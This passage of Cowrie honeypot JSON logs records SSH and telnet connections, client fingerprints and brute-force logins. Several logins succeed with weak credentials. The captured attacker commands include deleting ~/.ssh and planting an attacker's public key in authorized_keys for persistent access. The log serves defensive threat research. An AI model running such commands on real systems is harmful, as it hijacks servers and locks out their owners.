dsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:17.910872Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2024","message":"login attempt [oracle/oracle2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.323213Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.263997554779053,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.356633Z","src_ip":"147.182.143.59","session":"9d3520a25200","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.565744Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.569411Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.573716Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.672625Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.901617Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:18.904524Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.003896Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.008112Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":37676,"dst_ip":"10.17.0.5","dst_port":22,"session":"714c68aaf35d","protocol":"ssh","message":"New connection: 187.230.120.231:37676 (10.17.0.5:22) [session: 714c68aaf35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.123911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.128694Z","src_ip":"187.230.120.231","session":"714c68aaf35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.242151Z","src_ip":"187.230.120.231","session":"714c68aaf35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d61d020b52e","protocol":"telnet","message":"New connection: 45.58.127.90:60294 (10.17.0.5:23) [session: 8d61d020b52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.350041Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:19.713484Z","src_ip":"187.230.120.231","session":"714c68aaf35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:20.826384Z","src_ip":"187.230.120.231","session":"714c68aaf35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"939850cea095","protocol":"ssh","message":"New connection: 187.230.120.231:37678 (10.17.0.5:22) [session: 939850cea095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:20.936718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:20.941045Z","src_ip":"187.230.120.231","session":"939850cea095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:21.055039Z","src_ip":"187.230.120.231","session":"939850cea095","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:21.523568Z","src_ip":"187.230.120.231","session":"939850cea095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.09921455383301,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:21.536576Z","src_ip":"45.58.127.90","session":"2bcf463ab382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:21.621177Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:21.636402Z","src_ip":"187.230.120.231","session":"939850cea095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99920034408569,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:27.685346Z","src_ip":"45.58.127.90","session":"975a09cc3b50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49402,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c7cf701cf9e","protocol":"telnet","message":"New connection: 147.182.143.59:49402 (159.203.135.109:23) [session: 1c7cf701cf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:30.677336Z"}
{"eventid":"cowrie.session.closed","duration":38.48610734939575,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:37.523087Z","src_ip":"45.58.127.90","session":"5b24170b5d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.211779832839966,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:41.888993Z","src_ip":"147.182.143.59","session":"1c7cf701cf9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34030,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b8f873ad37","protocol":"telnet","message":"New connection: 45.58.127.90:34030 (10.17.0.5:23) [session: f5b8f873ad37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:45.941420Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34034,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8a2d73f3ab","protocol":"telnet","message":"New connection: 45.58.127.90:34034 (10.17.0.5:23) [session: ab8a2d73f3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:46.325564Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e63fce81c978","protocol":"telnet","message":"New connection: 45.58.127.90:60780 (10.17.0.5:23) [session: e63fce81c978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:53.397401Z"}
{"eventid":"cowrie.session.closed","duration":36.54946780204773,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:55.899428Z","src_ip":"45.58.127.90","session":"8d61d020b52e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.46985650062561,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:57.331052Z","src_ip":"45.58.127.90","session":"00a28c6f9af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.768173694610596,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:57.427715Z","src_ip":"45.58.127.90","session":"b72035d94d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55094,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a7990fa553","protocol":"telnet","message":"New connection: 147.182.143.59:55094 (159.203.135.109:23) [session: c0a7990fa553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:59.289714Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47070,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b7cbe35d39a","protocol":"telnet","message":"New connection: 45.58.127.90:47070 (10.17.0.5:23) [session: 1b7cbe35d39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:01.564593Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55104,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff692ce0868","protocol":"telnet","message":"New connection: 147.182.143.59:55104 (159.203.135.109:23) [session: 2ff692ce0868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:05.103930Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.122","src_port":35779,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a1865dde24","protocol":"ssh","message":"New connection: 45.33.12.122:35779 (10.17.0.5:22) [session: 92a1865dde24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:08.423971Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:10.071535Z","src_ip":"45.33.12.122","session":"92a1865dde24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":38866,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b73ef7b3d85","protocol":"ssh","message":"New connection: 187.230.120.231:38866 (10.17.0.5:22) [session: 0b73ef7b3d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:12.068721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:12.073311Z","src_ip":"187.230.120.231","session":"0b73ef7b3d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:12.185493Z","src_ip":"187.230.120.231","session":"0b73ef7b3d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"admin123","message":"login attempt [es/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:12.653290Z","src_ip":"187.230.120.231","session":"0b73ef7b3d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:13.767046Z","src_ip":"187.230.120.231","session":"0b73ef7b3d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.580640077590942,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:14.870240Z","src_ip":"147.182.143.59","session":"c0a7990fa553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"49d3f6333e7f","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: 49d3f6333e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:16.704571Z"}
{"eventid":"cowrie.session.closed","duration":39.17934799194336,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:25.504783Z","src_ip":"45.58.127.90","session":"ab8a2d73f3ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.646074295043945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:29.043364Z","src_ip":"45.58.127.90","session":"e63fce81c978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.519771575927734,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:30.461083Z","src_ip":"45.58.127.90","session":"f5b8f873ad37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.62279558181763,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:43.187265Z","src_ip":"45.58.127.90","session":"1b7cbe35d39a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"31.0","message":"Connection lost after 31.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:34:47.702307Z","src_ip":"64.89.160.135","session":"49d3f6333e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.80881214141846,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:02.912652Z","src_ip":"147.182.143.59","session":"2ff692ce0868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.56.79.53","src_port":43471,"dst_ip":"159.203.135.109","dst_port":22,"session":"992ca5417cfe","protocol":"ssh","message":"New connection: 45.56.79.53:43471 (159.203.135.109:22) [session: 992ca5417cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:03.836919Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:05.739260Z","src_ip":"45.56.79.53","session":"992ca5417cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":43356,"dst_ip":"10.17.0.5","dst_port":22,"session":"a261e47d757f","protocol":"ssh","message":"New connection: 187.230.120.231:43356 (10.17.0.5:22) [session: a261e47d757f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:13.683647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:13.692820Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr